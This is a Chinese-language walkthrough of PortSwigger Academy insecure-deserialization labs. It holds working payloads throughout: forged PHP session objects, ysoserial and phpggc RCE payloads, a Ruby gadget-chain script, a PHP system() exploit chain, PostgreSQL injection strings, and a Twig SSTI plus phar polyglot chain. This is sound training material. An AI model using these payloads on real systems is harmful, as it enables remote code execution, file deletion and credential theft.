题目描述
要求
carlos
的账号解题过程
登录后抓包发现session使用的base64编码(本身进行了两次url编码)
GET /my-account HTTP/1.1
Host: aca21f331f8595648000177b00a00042.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%253d
解码后O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
,是一个PHP的序列化对象,可以看到有变量admin=0
,修改为admin=1
,因为变量长度没有变化,所以不需要修改其他内容
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
按照base64+两次url编码的顺序编码
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%253d
替换session(可以直接修改浏览器里的session,或者用burp一步一步改),删除账号
题目描述
要求
carlos
的账号解题过程
抓包发现与之前相同的session
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"sei0fst5vbt6xlzi5its2z78mabx3eq4";}
username, access_token
,猜测会进行username + access_token
的组合校验修改username
+access_token
O:4:"User":2:{s:8:"username";s:5:"admin";s:12:"access_token";i:0;}
username=administrator
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
登上去删除账号即可
题目描述
要求
morale.txt
解题过程
还是先看session
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rw7vjg7lnfh886kccokzx9mi2zgi1iwl";s:11:"avatar_link";s:19:"users/wiener/avatar";}
存在头像路径avatar_link
属性,而且有delete account
功能,猜测删除账号时会删除头像
修改session
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rw7vjg7lnfh886kccokzx9mi2zgi1iwl";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
题目描述
要求
/home/carlos/morale.txt
解题过程
查看session
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"a8foq3v2v7sa58oq0z7twrsv2pujfp7v";}
这里卡住了,不知道有什么类/方法可以利用,去看了下hint,有备份文件,找了半天,在源码里找到
<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->
直接访问/libs/CustomTemplate.php~
,得到源码
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
源码中也有提示,__destruct
函数中有unlink
(删除文件)函数,构造序列化对象
O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
O:14:"CustomTemplate":2:{s:34:"CustomTemplatetemplate_file_path";s:23:"/home/carlos/morale.txt";s:30:"CustomTemplatelock_file_path";s:23:"/home/carlos/morale.txt";}
题目描述
Apache Commons Collections
库要求
ysoserial
构造exp进行rce,并删除/home/carlos/morale.txt
解题过程
从题目描述中得知使用了Collections
库,借助Collections
生成exp
github:ysoserial
用法:
编译出jar包
java -jar ysoserial-master-[version]-all.jar [CLASS] ‘[CMD]‘
这里给出一个python调用的脚本(linux下用不到)
import base64
import subprocess
def ysoserial(cmd, class_=‘CommonsCollections4‘):
popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-master-138dc36bd2-1.jar‘, class_, cmd],
stdout=subprocess.PIPE)
exp = base64.b64encode(popen.stdout.read())
return exp
题目描述
要求
phpggc
构造序列化对象进行rce/home/carlos/morale.txt
解题过程
先看session
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJrNjNycmYwZ2lsMjM1emduOGx3Y2duNzRoN2JpZngxaiI7fQ==","sig_hmac_sha1":"ec08154086a0925243d33236c778cf2144e71a2d"}
token也是base64,解码: O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"k63rrf0gil235zgn8lwcgn74h7bifx1j";}
sig_hmac_sha1
签名,那么我们不仅需要构造反序列化串,还要获取正确的签名下载phpggc (放在linux下使用)
/cgi-bin/phpinfo.php
,但里面只有secret_key
,没有框架标识信息先随便选一个payload试试
用github里示例payload ./phpggc Symfony/RCE1 ‘rm /home/carlos/morale.txt‘ | base64
Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2 NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdl QnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNo ZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255 XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoi cm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30K
用secret_key,按照session格式签名
用法:hash_hmac(‘sha1‘, $string , $key);
组合
{"token":"Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdlQnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30K","sig_hmac_sha1":"f46fa06209104200aff57cb6562c7e3487d0f8ea"}
签名错了,而且还爆出了架构信息Internal Server Error: Symfony Version: 4.3.6
,说明用的没有错
签名错的原因:在linux下运行xxx | base64
会自动换行。。。可以用参数 -w 0
来去掉换行
题目描述
要求
rm /home/carlos/morale.txt
解题过程
对Ruby on Rails不熟悉,搜出来几种RCE,瞅了下solution,提示去看Ruby 2.x Universal RCE Gadget Chain
里面有ruby脚本,修改payload,然后放到在线网站跑一下
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt") #命令在这里
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e ‘Marshal.load(STDIN.read) rescue nil‘", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack(‘H*‘)[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
用payload替换cookie(还是存在换行问题,删掉即可)
该来的expert总会来的,一来还是仨
题目描述
要求
carlos
的账号解题过程
前段时间学了java sec code,里面有反序列化的内容,大概了解一些,先努力看看
在源码中发现 <!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->
里面有如下代码
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
看了下并没有什么用?
去看了下/backup
目录,发现还有一个 ProductTemplate.java
package data.productcatalog;
import common.db.ConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = ‘%s‘ LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
注意看41 ,42行,直接进行参数拼接,而且没有进行预编译,也就是说可以借助这个点进行SQL注入
但是这个注入点是在readObject之后,也就是说我们需要构造能触发这个函数的反序列化利用链
尝试构造反序列化利用链
readObject方法在AccessTokenUser
里应该也有的(反序列化session)
所以需要构造有特定id的ProductTemplate
类,然后序列化,用session传入进行sql注入
但是java代码写起来有点困难,这里借助了官方的solution on github 需要注意的是,要构建与package data.productcatalog;
相同的目录结构,以及空的Product
类(避免报错)
再之后的sql注入,需要注意几点postgresql
的特性
注释符是--
仍然可以使用order by
使用union时,要求对应列的类型相同
报错注入用法 cast(needed_data as numeric)
needed_data为字符串时,会报错
当sql查询成功时会报Internal Server Error
爆表名
‘ union select null,null,null,CAST((SELECT schemaname FROM pg_tables limit 1 offset 3)::text AS NUMERIC),null,null,null,null --
查数据
‘ union select null,null,null,CAST(password AS NUMERIC),null,null,null,null from users --
题目描述
要求
rm /home/carlos/morale.txt
解题过程
还是一样,源码里给了目录/cgi-bin/libs/CustomTemplate.php
访问/cgi-bin/libs/CustomTemplate.php~
注释是简单的分析
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type=‘HTML_DESC‘) {
$this->desc = new Description();
// $this->desc 设置为 DefaultMap类,且声明时:使callback == eval
$this->default_desc_type = $desc_type;
// $this->default_desc_type 设置为 "system(‘rm /home/carlos/morale.txt‘)"
$this->build_product();
}
public function __sleep() { // 在序列化之前执行,无关
return ["default_desc_type", "desc"];
}
public function __wakeup() { // 在反序列化之后立即被调用,需要通过build_product()进行rce
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
// 参照 Product->__construct: ($this->desc)->($this->default_desc_type)
// 实际调用的是 DefaultMap->未声明变量"system(‘rm /home/carlos/morale.txt‘)"
// 进而触发 __get()
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description { // 没啥用
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = ‘<p>This product is <blink>SUPER</blink> cool in html</p>‘;
$this->TEXT_DESC = ‘This product is cool in text‘;
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) { // 读取不可访问属性的值时执行
return call_user_func($this->callback, $name);
// 最终调用eval system(‘rm /home/carlos/morale.txt‘)
}
}
?>
但在之后的测试中,发现call_user_func()
函数的特性:
可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。
一开始测试了assert
,但是报错了,因为在PHP7
之后,assert不能执行动态参数
然后突然想到!我既然要用system
,为啥不把$callback
直接设置成system
呢!!!(脏话)
最终的exp
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct() {
$this->desc = new DefaultMap("system");
// $this->desc 设置为 callback == system 的 DefaultMap类
$this->default_desc_type = "rm /home/carlos/morale.txt";
// $this->default_desc_type 设置为 "rm /home/carlos/morale.txt"
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
//
// 参照 Product->__construct: ($this->desc)->($this->default_desc_type)
// 实际调用的是 DefaultMap->"rm /home/carlos/morale.txt"(不存在该变量)
// 进而触发 __get()
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) { // 读取不可访问属性的值时执行
return call_user_func($this->callback, $name);
// 最终调用system(‘rm /home/carlos/morale.txt‘)
}
}
$obj = new CustomTemplate();
echo base64_encode(serialize($obj));
?>
题目描述
PHAR
反序列化和其他高级的hacking技术组合起来,你仍然可以RCE要求
rm /home/carlos/morale.txt
解题过程
phar反序列化之前做过相关的题,可以通过上传
phar
文件,并调用内部方法进行RCE
登录之后发现可以上传头像,发现备份文件并不存在,挨着访问目录,发现/cgi-bin/
可以访问,找到俩备份文件
CustomTemplate.php
看起来能用得到(有unlink
)
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return ‘templates/‘ . $this->template_file_path . ‘.lock‘;
}
}
?>
lockFilePath()
函数,最后会加.lock
后缀,且php7不支持00截断,所以单一个CustomTemplate
不能完成saveTemplate
函数可以写文件(可不可以写shell呢)
Blog.php
<?php
require_once(‘/usr/local/envs/php-twig-1.19/vendor/autoload.php‘);
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render(‘index‘, [‘user‘ => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
‘index‘ => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
Blog
类里可以看到有熟悉的render
模板渲染函数,去查了下twig
的ssti
{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
理一下思路
利用blog
里twig
的ssti --> 构造可以ssti的序列化blog对象
class Blog {}
$o = new Blog();
$o->desc = ‘{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}‘;
利用头像上传功能传上去
再用查看头像的接口,借助phar://
协议完成序列化
---------------------------------------------
然后文件上传卡住了,像是二次渲染
用solution里提到的工具phar-jpg-polyglot 进行phar->jpg的生成
但访问/cgi-bin/avatar.php?avatar=phar://wiener
的时候返回了404 而且没有提示solved
看一下最后的反序列化串,没什么问题
O:4:"Blog":2:{s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";s:4:"user";s:5:"r3col";}}
phar包也不会有问题(用的经过验证的工具)
那就是phar的触发条件没达成,看了一下,phar包反序列化需要用到以下函数
include | include_once | require | require_once |
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
加粗的四个是源码中出现的,但是这并不能直接调用
看一个phar反序列化的例子
<?php
$filename=@$_GET[‘filename‘];
echo ‘please input a filename‘.‘<br />‘;
class AnyClass{
var $output = ‘echo "ok";‘;
function __destruct()
{
eval($this -> output);
}
}
if(file_exists($filename)){
$a = new AnyClass();
}
else{
echo ‘file is not exists‘;
}
?>
POC
<?php
class AnyClass{
var $output = ‘‘;
}
$phar = new Phar(‘phar.phar‘);
$phar -> stopBuffering();
$phar -> setStub(‘GIF89a‘.‘<?php __HALT_COMPILER();?>‘);
$phar -> addFromString(‘test.txt‘,‘test‘);
$object = new AnyClass();
$object -> output= ‘phpinfo();‘;
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
访问 ?filename=phar://phar.gif/test (通过访问phar包内的内容可以触发反序列化)
可以看到这里是file_exists直接读入了 phar://xxxxx
但在这个题目中我们是通过avatar.php
的头像读取接口进行phar://xxx
包含的,也就是说要触发phar://xxx
反序列化,需要在avatar.php
中对?avatar=phar://wiener
使用上述24个函数中的其中一个。
这也就是为什么我觉得题目的solution奇怪。
avatar.php
不能触发phar反序列化,那么solution给的 利用CustomTemplate进行触发phar反序列化就不可能执行,因为这种情况下,需要先在avatar.php
触发反序列化(实例化CustomTemplate
类)才能进入下一步avatar.php
可以触发phar反序列化,在怀疑的过程中,发现自己在分析利用链的时候忘了render()
函数!也就解释了为什么需要用CustomTemplate
:用‘templates/‘ . $this->template_file_path . ‘.lock‘
触发Blog->__toString()
所以利用链应该是
Blog->wakeup() //把ssti的exp放在index里
Customplate->__destruct() // Customplate类调用析构函数,触发lockFilePath()方法
Customplate->lockFilePath()
// 在lockFilePath()方法中,存在‘templates/‘ . $this->template_file_path . ‘.lock‘字符串连接
// 这会期望$this->template_file_path(Blog类)返回字符串,进而触发__toString()方法
Blog->__toString() // 调用render 执行ssti exp
按照上面的利用链重新构造,成功solved
但是solution里的file_exists
函数还是没用到(可能是用来提示的?)
本地测一下利用链
?
Portswigger web security academy:Insecure deserialization
原文:https://www.cnblogs.com/R3col/p/14510899.html